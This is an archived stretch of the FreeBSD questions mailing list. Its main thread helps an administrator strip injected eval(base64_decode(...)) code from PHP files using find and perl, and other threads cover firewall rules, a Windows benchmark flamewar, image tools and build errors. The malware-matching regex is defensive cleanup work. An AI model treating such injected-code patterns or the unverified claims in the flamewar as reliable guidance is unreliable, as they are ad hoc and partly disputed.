every result. > > Additionally, is this injected code one long string or broken down > by the > mailer? Grep isn't the best way to deal with it. It's pretty easy > to correct > with perl, bit trickier if it's multiline, still not too hard: > > find /home/horbury -type f -exec \ > perl -pi.bak -e 's,<\? /\*\*/eval\(base64_decode\(.*?\?>,,s' {} + > Sadly that didn't work. It created .bak files for everything within /home/Horbury recursively, but didn't make any changes - the base64_decode is till present. Additional point to note: this only needs performing on .php files, not all files... Would I be correct in guessing it's because the string for perl to search for omits a space? IE: within the files, it's as follows: Whereas the perl appears to be looking for: Also... how to delete all files ending in .bak recursively? *grin* I'm presuming it'd be: Find /home/horbury -type f -name "*.bak" -exec \ Rm *.bak ??? Ta! Marc From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 01:24:31 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 01:24:39 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <0016e64ca7d690e38f045d45227d@google.com> References: <0016e64ca7d690e38f045d45227d@google.com> Message-ID: <20081205102311.H58585@wojtek.tensor.gdynia.pl> > I'm just curious to see how it looks for my own sanity's sake. At work, yes windows is much faster and much easier to use. it was told so many times on adverts and you still not understand that?! there are just strange people there that want to still use unix. From peter at boosten.org Fri Dec 5 01:31:32 2008 From: peter at boosten.org (Peter Boosten) Date: Fri Dec 5 01:31:39 2008 Subject: Mass find/replace... In-Reply-To: <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> Message-ID: <4938F4E8.8030304@boosten.org> Marc Coyles wrote: > > I'm presuming it'd be: > > Find /home/horbury -type f -name "*.bak" -exec \ > Rm *.bak > find /home/horbury -name "*.bak" -exec rm {} \; Peter -- http://www.boosten.org From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 01:39:24 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 01:39:32 2008 Subject: Mass find/replace... In-Reply-To: <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> Message-ID: <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 10:17:46 Marc Coyles wrote: > > + not \; or you will fork on every result. > > > > Additionally, is this injected code one long string or broken down > > by the > > mailer? Grep isn't the best way to deal with it. It's pretty easy > > to correct > > with perl, bit trickier if it's multiline, still not too hard: > > > > find /home/horbury -type f -exec \ > > perl -pi.bak -e 's,<\? /\*\*/eval\(base64_decode\(.*?\?>,,s' {} + > > Sadly that didn't work. It created .bak files for everything within > /home/Horbury recursively, but didn't make any changes - the base64_decode > is till present. > > Additional point to note: this only needs performing on .php files, not all > files... > > Would I be correct in guessing it's because the string for perl to search > for omits a space? Nope. > IE: within the files, it's as follows: > Cause in your original mail I didn't catch the ,,s' > Whereas the perl appears to be looking for: > > > Also... how to delete all files ending in .bak recursively? *grin* > > I'm presuming it'd be: > > Find /home/horbury -type f -name "*.bak" -exec \ find /home/horbury -name '*.bak' -delete -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From m.seaman at infracaninophile.co.uk Fri Dec 5 01:48:40 2008 From: m.seaman at infracaninophile.co.uk (Matthew Seaman) Date: Fri Dec 5 01:48:49 2008 Subject: Mass find/replace... In-Reply-To: <4938F4E8.8030304@boosten.org> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <4938F4E8.8030304@boosten.org> Message-ID: <4938F8E0.2040908@infracaninophile.co.uk> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 Peter Boosten wrote: | Marc Coyles wrote: |> I'm presuming it'd be: |> |> Find /home/horbury -type f -name "*.bak" -exec \ |> Rm *.bak |> | | find /home/horbury -name "*.bak" -exec rm {} \; | find /home/horbury -type f -name '*.bak' -delete 'delete' is a find primitive -- no need to exec any other processes. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. Flat 3 ~ 7 Priory Courtyard PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate ~ Kent, CT11 9PW, UK -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREDAAYFAkk4+OAACgkQ3jDkPpsZ+VbPwACfUrggUN1yIPqkq3pgCyy6fFzH sncAn2WW0XD9l9NgNtK4T2IiMqoyxY6f =1CX6 -----END PGP SIGNATURE----- From odhiambo at gmail.com Fri Dec 5 01:52:08 2008 From: odhiambo at gmail.com (Odhiambo Washington) Date: Fri Dec 5 01:52:14 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205102311.H58585@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> Message-ID: <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> On Fri, Dec 5, 2008 at 12:24 PM, Wojciech Puchar < wojtek@wojtek.tensor.gdynia.pl> wrote: > I'm just curious to see how it looks for my own sanity's sake. At work, >> > > yes windows is much faster and much easier to use. it was told so many > times on adverts and you still not understand that?! > > there are just strange people there that want to still use unix. No one in their right senses would spend time benchmarking FreeBSD (or any Unix variant) against Windows (oh, which version?). It's a waste of time. Let those who use Windows use it and those who like living in a world where they are allowed to use their brains use Unix. -- Best regards, Odhiambo WASHINGTON, Nairobi,KE +254733744121/+254722743223 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ "Okay guys. This is Kenya. You pay taxes because you feel philanthropic, unlike our MPs!" -- Kenneth Marende, Speaker, 10th Parilament. From jcigar at ulb.ac.be Fri Dec 5 01:53:02 2008 From: jcigar at ulb.ac.be (Julien Cigar) Date: Fri Dec 5 01:53:09 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205102311.H58585@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> Message-ID: <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> What I find mist glaring when one moves from a Linux / FreeBSD system to a Windows system it's the virtual memory management, with the same amount of RAM Windows swaps a *lot* more. Regarding the usability, it's clear that they target different people, as Windows if mainly used by non-IT people .. On Fri, 2008-12-05 at 10:24 +0100, Wojciech Puchar wrote: > > I'm just curious to see how it looks for my own sanity's sake. At work, > > yes windows is much faster and much easier to use. it was told so many > times on adverts and you still not understand that?! > > there are just strange people there that want to still use unix. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Julien Cigar Belgian Biodiversity Platform http://www.biodiversity.be Universit? Libre de Bruxelles (ULB) Campus de la Plaine CP 257 B?timent NO, Bureau 4 N4 115C (Niveau 4) Boulevard du Triomphe, entr?e ULB 2 B-1050 Bruxelles Mail: jcigar@ulb.ac.be @biobel: http://biobel.biodiversity.be/person/show/471 Tel : 02 650 57 52 From mcoyles at horbury.wakefield.sch.uk Fri Dec 5 01:59:44 2008 From: mcoyles at horbury.wakefield.sch.uk (Marc Coyles) Date: Fri Dec 5 01:59:51 2008 Subject: Mass find/replace... In-Reply-To: <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> Message-ID: <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> All done n' dusted now - thanks very much for everyone's input...! Have noted everything down in the back of my copy of "Absolute FreeBSD 2nd Edition" (which has inherited quite a few additional pages since I bought it). Now that that's done, I can start to wander thru logs and find who/how... Cheers! Marc From mcoyles at horbury.wakefield.sch.uk Fri Dec 5 02:19:31 2008 From: mcoyles at horbury.wakefield.sch.uk (Marc Coyles) Date: Fri Dec 5 02:19:38 2008 Subject: Mass find/replace... In-Reply-To: <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> Message-ID: <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> > All done n' dusted now - thanks very much for everyone's input...! > Have noted everything down in the back of my copy of "Absolute > FreeBSD 2nd Edition" (which has inherited quite a few additional > pages since I bought it). > > Now that that's done, I can start to wander thru logs and find > who/how... > > Cheers! > Marc > Arse - I spoke too soon. Anyone know any perl to remove blank lines???! It's left a blank line at top of each PHP file that it performed the action on, which has broken things a touch... marc From freebsd at edvax.de Fri Dec 5 02:29:17 2008 From: freebsd at edvax.de (Polytropon) Date: Fri Dec 5 02:29:24 2008 Subject: IPFW Firewall Question In-Reply-To: <916515.67967.qm@web52202.mail.re2.yahoo.com> References: <916515.67967.qm@web52202.mail.re2.yahoo.com> Message-ID: <20081205112914.bad246af.freebsd@edvax.de> Often discussed and adviced... On Thu, 4 Dec 2008 16:26:04 -0800 (PST), G magicman wrote: > here is part of the configuration file so far that the Co-lo people put in. > [...] > #!/usr/local/bin/bash When possible, use the STANDARD form: #!/bin/sh Declare #!/usr/local/bin/bash only if you're intentionally using BASH specifig functionalities that SH doesn't include. May save you lots of headache. > 2. short of a reboot how do you start stop and restart the? firewall You can use ipfw's rc.d script: # /etc/rc.d/ipfw start # /etc/rc.d/ipfw stop # /etc/rc.d/ipfw restart Just a small note, but I hope it will help you. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 02:31:50 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 02:31:57 2008 Subject: Mass find/replace... In-Reply-To: <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> Message-ID: <200812051131.47577.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 11:19:09 Marc Coyles wrote: > > All done n' dusted now - thanks very much for everyone's input...! > > Have noted everything down in the back of my copy of "Absolute > > FreeBSD 2nd Edition" (which has inherited quite a few additional > > pages since I bought it). > > > > Now that that's done, I can start to wander thru logs and find > > who/how... > > > > Cheers! > > Marc > > Arse - I spoke too soon. > > Anyone know any perl to remove blank lines???! > It's left a blank line at top of each PHP file that it performed the action > on, which has broken things a touch... 's/^(.*?)\r?\n\r?\n/$1\n/s' should only replace the first empty line it finds in a file and accounts for windows line endings. Try it out on one file first: perl -pi.bak 's/^(.*?)\r?\n\r?\n/$1\n/s' filename.php -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From freebsd at edvax.de Fri Dec 5 02:34:13 2008 From: freebsd at edvax.de (Polytropon) Date: Fri Dec 5 02:34:20 2008 Subject: Image Programs In-Reply-To: <4938C38B.8080008@esiee.fr> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> <4938C38B.8080008@esiee.fr> Message-ID: <20081205113411.f202b11c.freebsd@edvax.de> On Fri, 05 Dec 2008 07:00:43 +0100, Frank Bonnet wrote: > G magicman wrote: > > Hello does anyone know the following > > > > 1. Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc. i have all the 3d programs but not these 2 basic ones. > > > > > > Thank you > > > > http://www.gimp.org For now, The Gimp has been suggested many times. I've heard from users that there's "Gimpshop" to make The Gimp's excellent interface look like the one of "Photoshop" for those users who want it. Personally, I find the "original" Gimp interface isn't as bad as claimed by many users who are spoiled by the "Windows" way of doing things. :-) Furthermore, there's Krita, if you're already using KDE. For automated image manipulations, ImageMagick and especially its convert command are very useful and powerful (!) tools. What about Inkscape? Tried this one? But finally, for professional use, The Gimp seems to be the best program availabe at the moment. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 02:49:06 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 02:49:12 2008 Subject: Image Programs In-Reply-To: <20081205113411.f202b11c.freebsd@edvax.de> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> <4938C38B.8080008@esiee.fr> <20081205113411.f202b11c.freebsd@edvax.de> Message-ID: <200812051149.03304.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 11:34:11 Polytropon wrote: > Furthermore, there's Krita, if you're already using KDE. Yep, it's getting more stable and is more intuitive for a novice/casual user then gimp, also less powerful, but that's a matter of time. > For automated image manipulations, ImageMagick and especially > its convert command are very useful and powerful (!) tools. > > What about Inkscape? Tried this one? It's more 'Illustrator'. Allthough there's a lot of overlap between the programs, it's focus lies on compositing rather then editing images. Also, it uses ImageMagick, which I personally dislike for the reasons mentioned here: http://www.graphicsmagick.org/ -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 03:03:02 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 03:03:08 2008 Subject: IPFW Firewall Question In-Reply-To: <916515.67967.qm@web52202.mail.re2.yahoo.com> References: <916515.67967.qm@web52202.mail.re2.yahoo.com> Message-ID: <200812051202.59160.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 01:26:04 G magicman wrote: > Why because of the following: > > 1. Hosts.access? on freebsd works on the Application Layer instead of the > Network Layer Therefore Hosts.allow/hosts.deny?? no longer works the way i > want and i do not feel like running Sendmail and sshd out of Inetd which > appearantly is the only way to be able to use hosts.allow/deny You're right about the application layer, but not about the rest. From sshd(8): /etc/hosts.allow /etc/hosts.deny Access controls that should be enforced by tcp-wrappers are defined here. Further details are described in hosts_access(5). > 2. Next openssh doesnot have an AllowHosts directive like the Finnish one > does it only has an AllowUsers directive so i need to protect the system > from DDOS attacks Again, see above. > and Hacking I already tried to block things using the > Sendmail Access file but all that did was choak up the server with moronic > shit.? And i want to be able to use my sftp program but it opens random > ports which can not be controlled so i need the Clearaddresses to be able > to see all ports. For the firewall, pf user here, so others should help. ;) -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From ivoras at freebsd.org Fri Dec 5 03:21:01 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Fri Dec 5 03:21:09 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <0016e64ca7d690e38f045d45227d@google.com> References: <0016e64ca7d690e38f045d45227d@google.com> Message-ID: af300wsm@gmail.com wrote: > Hi, > > I don't even know if this has been done before, nor do I know for sure > if it's a sound comparison. Never the less, someone posted, in response > to someone else here just a few days ago, some very nice benchmarks > provided by Kris ?Kenneway? I could be wrong on the last name, it just > seems to me that's a last name I've seen with Kris frequently (my > apologies Kris if I'm wrong). Using the URL that the other poster, > posted, I poked around the other *.html files in that directory, but did > not find any with FreeBSD pitted against windows. > > I'm just curious to see how it looks for my own sanity's sake. At work, > someone got the grand idea that we should move to Windoze embedded (CE > and XPe) and it's been quite discouraging I must say, though I must > admit, it's nice to actually know why Windows is ugly underneath. From a > programming perspective, it's just not simplistic. Anyway, I digress, > I'm just curious to see how things compare to Windows on similar > benchmarks to what Kris provided if its ever been done. I've done some benchmarking of Windows file system IO (NTFS) using known tools like bonnie++, blogbench and postmark under cygwin and the results are abysmal. It might be due to cygwin, and it might not. I've used Windows Enterprise Server 2003. You'll probably not find any difference in computational (numeric) tasks and fairly bad results in tasks that do a lot of system work. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081205/45f8d2c1/signature.pgp From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 04:09:03 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 04:09:09 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> Message-ID: <20081205130723.G1635@wojtek.tensor.gdynia.pl> > No one in their right senses would spend time benchmarking FreeBSD (or any > Unix variant) against Windows (oh, which version?). It's a waste of time. exactly what i meant. windows agains wine under FreeBSD? cygwin under windows against FreeBSD? > Let those who use Windows use it and those who like living in a world where > they are allowed to use their brains use Unix. EXACTLY what i'm telling everywhere, including that group. And then i hear about i start flamewars which is nonsense. From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 04:09:59 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 04:10:06 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> Message-ID: <20081205130852.P1635@wojtek.tensor.gdynia.pl> > a Windows system it's the virtual memory management, with the same > amount of RAM Windows swaps a *lot* more. it may be not VM subsystem but memory usage of windoze software. or both. again - it's too different to be benchmarked From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 04:11:46 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 04:11:53 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: References: <0016e64ca7d690e38f045d45227d@google.com> Message-ID: <20081205130950.W1635@wojtek.tensor.gdynia.pl> > tools like bonnie++, blogbench and postmark under cygwin and the results > are abysmal. It might be due to cygwin, and it might not. I've used rather not. all cygwin do is wrapping calls like read, lseek, open, write, close to windoze calls. > Windows Enterprise Server 2003. > > You'll probably not find any difference in computational (numeric) tasks unless microsoft is intentionally slowing down all programs or some of them to "show" adventage of their programs. no i'm not joking. it's not just possible, i'm fairly certain they do it. From wojtek at wojtek.tensor.gdynia.pl Fri Dec 5 04:39:48 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Fri Dec 5 04:39:55 2008 Subject: Mass find/replace... In-Reply-To: <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> Message-ID: <20081205133811.F1821@wojtek.tensor.gdynia.pl> >> > > Arse - I spoke too soon. > > Anyone know any perl to remove blank lines???! i don't know perl but grep -v ^$ will remove all empty lines From gesbbb at yahoo.com Fri Dec 5 04:58:22 2008 From: gesbbb at yahoo.com (Jerry) Date: Fri Dec 5 04:58:29 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205130950.W1635@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205130950.W1635@wojtek.tensor.gdynia.pl> Message-ID: <20081205075818.0dac4e82@scorpio> On Fri, 5 Dec 2008 13:11:22 +0100 (CET) Wojciech Puchar wrote: >> tools like bonnie++, blogbench and postmark under cygwin and the >> results are abysmal. It might be due to cygwin, and it might not. >> I've used > >rather not. all cygwin do is wrapping calls like read, lseek, open, >write, close to windoze calls. > >> Windows Enterprise Server 2003. >> >> You'll probably not find any difference in computational (numeric) >> tasks > >unless microsoft is intentionally slowing down all programs or some of >them to "show" adventage of their programs. > >no i'm not joking. it's not just possible, i'm fairly certain they do >it. Slightly paranoid aren't we? It reminds me of an article I read several years ago in which the author claimed that all "Virus" and "Malware/Trojans" were being written by Linux users in an attempt to discredit Microsoft and then start charging for the use of their software in a fashion consistent with Microsoft. He went on to claim that 'open-sore' authors would reap windfall profits. Of course, like you, he offered no concrete evidence, just idle speculation. In any case, due to the multitude of flavors of *.nix and Windows machines, in addition to the thousands of possible configurations, systems, etc., getting a truly meaningful comparison would be a monumental undertaking. In any event, it would be obsolete before you ever finished it. -- Jerry gesbbb@yahoo.com Fortune's Office Door Sign of the Week: Incorrigible punster -- Do not incorrige. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081205/29532bd1/signature.pgp From bseklecki at collaborativefusion.com Fri Dec 5 05:07:38 2008 From: bseklecki at collaborativefusion.com (Brian A. Seklecki) Date: Fri Dec 5 05:07:45 2008 Subject: No /boot/kernel/kernel In-Reply-To: <6c51dbb10812042310n54788869hbb8a66f3d54d824@mail.gmail.com> References: <6c51dbb10812042310n54788869hbb8a66f3d54d824@mail.gmail.com> Message-ID: <1228482457.2805.490.camel@soundwave.ws.pitbpa0.priv.collaborativefusion.com> > FreeBSD/i386 boot > Default 0:ad(0,a)/boot/kernel/kernel > boot: > No /boot/kernel/kernel > > the same reappeared after i typed /boot/kernel.old/kernel. > WHAT DID WENT WRONG??? Any ideas? > _____________________________________ Ugh.... 2nd stage boot loader should be given: Default: 0:ad(0,a)/boot/loader ~BAS -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081205/d10862ed/attachment.pgp From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 05:26:56 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 05:27:04 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <20081205075818.0dac4e82@scorpio> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205130950.W1635@wojtek.tensor.gdynia.pl> <20081205075818.0dac4e82@scorpio> Message-ID: <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 13:58:18 Jerry wrote: > On Fri, 5 Dec 2008 13:11:22 +0100 (CET) > > Wojciech Puchar wrote: > >> tools like bonnie++, blogbench and postmark under cygwin and the > >> results are abysmal. It might be due to cygwin, and it might not. > >> I've used > > > >rather not. all cygwin do is wrapping calls like read, lseek, open, > >write, close to windoze calls. > > > >> Windows Enterprise Server 2003. > >> > >> You'll probably not find any difference in computational (numeric) > >> tasks > > > >unless microsoft is intentionally slowing down all programs or some of > >them to "show" adventage of their programs. > > > >no i'm not joking. it's not just possible, i'm fairly certain they do > >it. > > Slightly paranoid aren't we? It reminds me of an article I read several > years ago in which the author claimed that all "Virus" and > "Malware/Trojans" were being written by Linux users in an attempt to > discredit Microsoft and then start charging for the use of their > software in a fashion consistent with Microsoft. He went on to claim > that 'open-sore' authors would reap windfall profits. Of course, like > you, he offered no concrete evidence, just idle speculation. > > In any case, due to the multitude of flavors of *.nix and Windows > machines, in addition to the thousands of possible configurations, > systems, etc., getting a truly meaningful comparison would be a > monumental undertaking. In any event, it would be obsolete before you > ever finished it. Well, one can find stories like this of course: http://www.postgis.org/documentation/casestudies/globexplorer/ But I'm sure one can find some of the contrary. It does show the value of the benchmark: Is it economically viable to use configuration X vs Y, and performance is only one factor of the descision. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From shinjii at maydias.com Fri Dec 5 05:39:07 2008 From: shinjii at maydias.com (Warren Liddell) Date: Fri Dec 5 05:39:14 2008 Subject: desperate Newb help Message-ID: <49392F02.9010902@maydias.com> I have been trying for quite a while now to try and get some assistance from the various lists, google, forums an even man pages and so far not a single piece of advise on how to solve my issue and im getting desperate an ready to throw BSD in for goin back to godforbid windows, so once i again i ask for some help with why QT refuses to compile saying ..... I have used the little-endian an big-endian flag an it made no difference, so plz someone have the kindness to help. ============================= The target system byte order could not be detected! Turn on verbose messaging (-v) to see the final report. You can use the -little-endian or -big-endian switch to ./configure to continue. ===> Script "configure" failed unexpectedly. Please report the problem to kde@FreeBSD.org [maintainer] and attach the "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../..//config.log" including the output of the failure of your make command. Also, it might be a good idea to provide an overview of all packages installed on your system (e.g. an `ls /var/db/pkg`). *** Error code 1 Stop in /usr/ports/databases/qt4-sql. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.13456.0 env make ** Fix the problem and try again. ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! databases/qt4-sql (unknown build error) From steve at ibctech.ca Fri Dec 5 05:56:53 2008 From: steve at ibctech.ca (Steve Bertrand) Date: Fri Dec 5 05:57:00 2008 Subject: Performance benchmarks pitting FreeBSD against Windows In-Reply-To: <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> Message-ID: <49393332.4090104@ibctech.ca> Odhiambo Washington wrote: > No one in their right senses would spend time benchmarking FreeBSD (or any > Unix variant) against Windows (oh, which version?). It's a waste of time. > Let those who use Windows use it and those who like living in a world where > they are allowed to use their brains use Unix. Ahem.. Just for the record, I believe that "those who like living in a world where they are allowed to use their brain" use whatever OS gets the job done for a particular task or task set. Those who are allowed to use their brain, but don't, will often use a pair of pliers as a hammer, because no matter what, their belief is that the pliers are the best tool...even when it takes 10 times longer to bend those pliers in ways that another tool will work with no changes necessary. Steve From fbsd.questions at rachie.is-a-geek.net Fri Dec 5 06:12:03 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Fri Dec 5 06:12:10 2008 Subject: desperate Newb help In-Reply-To: <49392F02.9010902@maydias.com> References: <49392F02.9010902@maydias.com> Message-ID: <200812051511.59715.fbsd.questions@rachie.is-a-geek.net> On Friday 05 December 2008 14:39:14 Warren Liddell wrote: > I have been trying for quite a while now to try and get some assistance > from the various lists, google, forums an even man pages and so far not > a single piece of advise on how to solve my issue and im getting > desperate an ready to throw BSD in for goin back to godforbid windows, > so once i again i ask for some help with why QT refuses to compile > saying ..... > > I have used the little-endian an big-endian flag an it made no > difference, so plz someone have the kindness to help. > > ============================= > > The target system byte order could not be detected! > Turn on verbose messaging (-v) to see the final report. > You can use the -little-endian or -big-endian switch to > ./configure to continue. > ===> Script "configure" failed unexpectedly. > Please report the problem to kde@FreeBSD.org [maintainer] and attach the > "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../. >.//config.log" I have no idea why 'configure' is run. No configure is run for me at all. Looks like your ports tree isn't sane. How do you upgrade your portstree? Instead of using portupgrade, could you just execute the following: make -C /usr/ports/databases/qt4-sql clean build -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From steve at ibctech.ca Fri Dec 5 06:12:34 2008 From: steve at ibctech.ca (Steve Bertrand) Date: Fri Dec 5 06:12:41 2008 Subject: IPFW Firewall Question In-Reply-To: <916515.67967.qm@web52202.mail.re2.yahoo.com> References: <916515.67967.qm@web52202.mail.re2.yahoo.com> Message-ID: <493936DF.80300@ibctech.ca> G magicman wrote: > 1. I need help to reconfigure my firewall on the server using BSD's ipfw What part do you need to reconfigure? > 2. short of a reboot how do you start stop and restart the firewall Very, very carefully. Until I gained some extensive experience with IPFW, I would wrap the firewall restart within a sleep/undo of some sort. That said, now I use table(s) and set(s), so I can update rules without having to restart the firewall entirely. Below is an example, that also will guide you in answering your next two questions. The man page and Google will explain how to use tables and sets. To answer your question however, depending on where your firewall script is, simply execute it at the command line, like this: # /etc/ipfw.rules & > Here is what i want : > > 1. i want all ports open to the ipaddresses in line 4 "clearaddresses" > 2. I want to be able to control access to port 25 sendmail to be able to deny > whole "A" "B" and "C" addresses #!/bin/sh flush="/sbin/ipfw -q flush" cmd="/sbin/ipfw add" table="/sbin/ipfw table" $flush # Tables # Client/infrastructure IPs for allowing access $table 1 add 208.70.104.0/21 $table 1 add 64.39.160.0/19 $table 1 add 67.158.64.0/20 #...etc # SMTP ALLOWED OUTBOUND TABLE $table 2 add 208.70.104.202/32 $table 2 add 208.70.104.203/32 $table 2 add 208.70.104.205/32 #...etc # Block all inbound and outbound traffic for certain sites # ...review periodically to see if they are still valid $table 3 add 91.203.4.146/32 # phishing # set 3 = specific deny/allow by ids # set 4 = SSH access # set 29 = for counting/testing traffic patterns # set 30 = forwarding # SET 3 # SQL $cmd 20000 set 3 deny all from any to any 1433,1434 # NetBIOS $cmd 20100 set 3 allow tcp from 208.70.104.0/24 to 208.70.104.0/24 135,139,445,593 keep-state $cmd 20105 set 3 allow udp from 208.70.104.0/24 to 208.70.104.0/24 135,139,445,593 